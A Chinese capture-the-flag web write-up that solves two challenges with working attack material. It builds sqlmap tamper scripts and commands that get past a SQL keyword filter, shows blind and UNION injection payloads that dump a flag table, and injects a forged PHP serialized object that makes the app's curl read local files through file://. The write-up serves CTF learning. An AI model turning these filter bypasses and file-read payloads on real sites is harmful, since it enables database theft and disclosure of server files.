CTF新秀杯WEB方向WP
考察方向:SQL注入 绕过关键词检测的SQL注入 PHP反序列化
盲注
手注WP
请看此链接:https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html
SQLMAP注入WP
作为一个懒人,手注这种方法多麻烦,跑跑sqlmap多开心,一边跑一边康哔哩哔哩,再恰恰薯片,岂不美哉?
环境调查
- 页面是PHP的
- 后端是MYSQL的
- 只有 1 2 3输入可以出结果
- 属于整数型注入(01=1)
拦截了绝大部分关键词
拦截关键词
and for or order outfile # & * rand() xor + - || ` ord() for updatexml() information union && /* */ limit floor() " 空格
其实还不止这一些,上面也有些重复的 比如 order ord 完全是被or误伤的 另谈另谈
准备工作
看到这浩浩荡荡的拦截阵容,直接跑就别想了,还是先写个tamper应付应付吧
最先要处理的肯定是空格,SQL注入不允许空格多麻烦,把空格替换成tab(%09)吧,第一个tamper诞生了#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace(' ', "%09") return payload
命令也很简单
python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3
管他是个啥呢 跑个level5 risk3再说
过程中先康康哔哩哔哩放松放松
一会儿sqlmap就跑出来两个注入点
Parameter: id (POST)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: id=1 HAVING 3172=3172
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=1 RLIKE SLEEP(5)
第一个是布尔的,第二个是时间的,时间的自然不用看,用时间注入怕不是得等到比赛结束,还是康康第一个布尔能干啥吧
尝试注入
打开fiddler 关闭自动代理设置
先看看数据库吧
命令:python sqlmap.py -r login.txt --threads 10 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 --proxy "http://127.0.0.1:8888" -b
Emmmm,一连串的313(SQL Injection Checked),就知道这事儿没这么简单,揪一行出来看看怎么回事id=1 HAVING ORD(MID((IFNULL(CAST(VERSION() AS CHAR),0x20)),1,1))>32
得,在看看刚刚的拦截列表,ORD被OR误伤了,ORD这个函数是用不了了,有没有替换的函数呢?
有的,ASCII函数和MID函数功能相同,替换替换,改改tamper
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace(' ', "%09")
payload = payload.replace('ORD', "ASCII")
return payload
再跑一次10.2.26-MariaDB-log
跑出来了,这样用肯定是没问题了
正式注入
information 被拦截了,表名库名列名全泡汤了,幸好题目给了
先看看环境吧
- 当前库:ctftraining
- 当前用户:root@localhost
- 猜解表:flag news passage users
再看看flag表中的列吧
猜解列:id content flag
那就直接dump出这个表吧!
得,一个都没跑出来,继续看看313id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM ctftraining.flag),1,1))>51
Emmm 星号被拦截了,把COUNT(*)改成COUNT(1)
再来看看
怎么还是一堆313
再拿个来看看id=1 HAVING ASCII(MID((SELECT IFNULL(CAST(CHAR_LENGTH(flag) AS CHAR),0x20) FROM ctftraining.flag ASCIIER BY flag LIMIT 0,1),1,1))>51
命中关键词 LIMIT (.....)
咋整 反正也也就一行 干脆把LIMIT条件删了吧!
这就是最后的tamper了
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace(' ', "%09")
payload = payload.replace('ORD', "ASCII")
payload = payload.replace('COUNT(*)', "COUNT(1)")
payload = payload.replace('LIMIT%090,1', "")
payload = payload.replace('ASCIIER%09BY%09id', "")
payload = payload.replace('ASCIIER%09BY%09flag', "")
#payload = payload.replace(' ', "/*%0a*//*%00*//*%0b*//*!*//*!*//*!*/")
return payload
命令:python sqlmap.py -r login.txt --threads 100 --dbms "MYSQL" --tamper "justTest" --level 5 --risk 3 -o --proxy "http://127.0.0.1:8888" -D ctftraining -T flag -C flag --dump
拿到 flag SWCTF_Flag{xiaohei_is_a_big_girl}
首先就是一个注入点
大概拦截了三个串 'union select' 'union all select' '0x'
原因嘛很简单 sqlmap直接跑UNION必定会用到这三个
解决办法也不困难 /**/代替空格也好 双写空格也罢 都可以
0x解决更容易 --no-escape即可python sqlmap.py -u 'http://139.199.72.13:8306/view.php?no=1' --tamper "space2comment.py" --threads 10 --technique "U" --union-char 76543 --no-escape
跑出user表
其他的地方没啥意思 这个data是序列化过的?
继续康康其他地方
简单寻找一番找到了rebots.txt文件和flag.php文件 显然 目标是读取flag.php
User-agent: *
Disallow: /user.php.bak
那就来康康user.php源码吧
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这边是用户注册和点击用户时处理的class,主要是注册时判断是不是真正的Blog
然后点击的时候用curl拓展访问并显示
curl是支持本地file://读取的,突破口也就在这里
我们要想办法让blog的url变成file://的
正则没看出问题来,绕不过去(有能绕过去的大佬麻烦留个评论),但我们有个UNION的注入呀
让我们回到手注来http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,4
这四位代表的就是user表内的四列
我们复制一个data来O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:13:"www.baidu.com";}
拿来改一改O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
PHP的序列化,很容易看懂
组合一下http://139.199.72.13:8306/view.php?no=-1 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问页面 此时页面已经正常了,在下面那个小的不能再小的框框中看到源码flag{areyoutierd?}